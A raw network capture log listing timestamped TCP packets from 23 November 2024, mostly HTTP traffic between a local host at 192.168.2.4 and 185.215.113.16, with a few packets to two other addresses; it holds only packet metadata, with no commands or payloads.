Nov 23, 2024 20:23:28.262741089 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.262792110 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.395639896 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.395715952 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.395807981 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.395855904 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.396064043 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.396130085 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.396192074 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.397277117 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.397332907 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.397392035 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.397445917 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.398390055 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.398451090 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.398545980 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.398606062 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.399539948 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.399616957 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.399673939 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.399718046 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.400743961 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.400803089 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.400860071 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.400906086 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.401969910 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.402025938 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.402086020 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.403014898 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.403074026 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.403103113 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.403151989 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.404162884 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.404218912 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.404283047 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.404340029 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.405308962 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.405379057 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.405436039 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.405534983 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.406477928 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.406543016 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.406656027 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.407525063 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.407674074 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.407732964 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.407792091 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.407928944 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.408763885 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.408823013 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.408884048 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.408945084 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.409928083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.409993887 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.410053015 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.410108089 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.411133051 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.411189079 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.411252975 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.412239075 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.412298918 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.412379980 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.412435055 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.413508892 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.413678885 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.413743019 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.414532900 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.414589882 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.414726973 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.414791107 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.415735960 CET	80	49810	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:28.415791988 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.415802002 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:28.415848017 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.415887117 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.416120052 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.416846037 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.416941881 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.416997910 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.418050051 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.418087006 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.418159962 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.418437958 CET	49810	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:28.419265032 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.419361115 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.419401884 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.419462919 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.420296907 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.420391083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.420430899 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.420458078 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.421446085 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.421505928 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.421545982 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.421967983 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.422583103 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.422641039 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.422720909 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.422775984 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.423676968 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.423738003 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.423778057 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.423832893 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.424786091 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.424874067 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.424927950 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.424927950 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.425872087 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.425932884 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.425981045 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.426038980 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.426970005 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.427027941 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.427074909 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.427130938 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.428126097 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.428179979 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.428211927 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.428318977 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.429178953 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.429230928 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.429276943 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.429332972 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.430269957 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.430339098 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.430377007 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.430430889 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.431385040 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.431451082 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.431546926 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.431605101 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.432535887 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.432590961 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.432693958 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.432750940 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.433593035 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.433638096 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.433691978 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.433768988 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.434664965 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.434714079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.434788942 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.434853077 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.435770035 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.435817003 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.435864925 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.435904026 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.436857939 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.436906099 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.436996937 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.437040091 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.437980890 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.438025951 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.438122034 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.438169956 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.439085007 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.439133883 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.439229965 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.439271927 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.440171957 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.440289974 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.440336943 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.441422939 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.441524029 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.441539049 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.441581964 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.442533970 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.442547083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.442575932 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.442584991 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.443459034 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.443500042 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.443569899 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.443605900 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.444602013 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.444643021 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.444729090 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.444771051 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.445681095 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.445734024 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.445772886 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.446779966 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.446824074 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.446885109 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.447065115 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.447877884 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.447953939 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.447990894 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.448283911 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.449146986 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.449187040 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.449194908 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.449246883 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.450098038 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.450145960 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.450248003 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.450284004 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.451194048 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.451230049 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.451358080 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.451405048 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.452271938 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.452368975 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.452414989 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.453418970 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.453481913 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.453536034 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.453823090 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.454438925 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.454483032 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.457540035 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.457726955 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.457793951 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.460093975 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.460093975 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.460133076 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.460160017 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.466270924 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.466289043 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.466417074 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.466717005 CET	49815	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:28.466727018 CET	443	49815	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:28.587600946 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.587665081 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.587744951 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.587826014 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.588219881 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.588269949 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.588339090 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.588387966 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.589248896 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.589296103 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.589339018 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.589521885 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.590274096 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.590326071 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.590456963 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.590500116 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.591440916 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.591474056 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.591484070 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.591531992 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.592485905 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.592521906 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.592586994 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.592628002 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.593581915 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.593646049 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.593681097 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.593720913 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.594696999 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.594789028 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.594820023 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.594830036 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.595807076 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.595859051 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.595874071 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.595918894 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.596890926 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.596940994 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.596975088 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.597016096 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.597990990 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.598040104 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.598100901 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.598139048 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.599088907 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.599133015 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.599181890 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.599219084 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.600178003 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.600224972 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.600295067 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.601526976 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.601641893 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.601685047 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.601758003 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.601798058 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.602394104 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.602437019 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.602480888 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.602554083 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.603518963 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.603579044 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.603591919 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.603786945 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.604635954 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.604677916 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.604726076 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.605695963 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.605737925 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.605789900 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.605880976 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.606817007 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.606852055 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.606859922 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.606889963 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.607901096 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.607944965 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.608006954 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.608989000 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.609031916 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.609085083 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.609136105 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.610088110 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.610131979 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.610189915 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.610227108 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.611193895 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.611242056 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.611294031 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.611336946 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.612337112 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.612375975 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.612454891 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.612557888 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.613409042 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.613455057 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.613492966 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.613595963 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.614500046 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.614541054 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.614593029 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.614634991 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.615638018 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.615701914 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.615716934 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.615854979 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.616736889 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.616813898 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.616877079 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.617810965 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.617856026 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.617927074 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.618012905 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.619004011 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.619051933 CET	49807	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:28.619092941 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.620034933 CET	80	49807	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:28.620083094 CET	49807	80	192.168.2.4	185.215.113.16
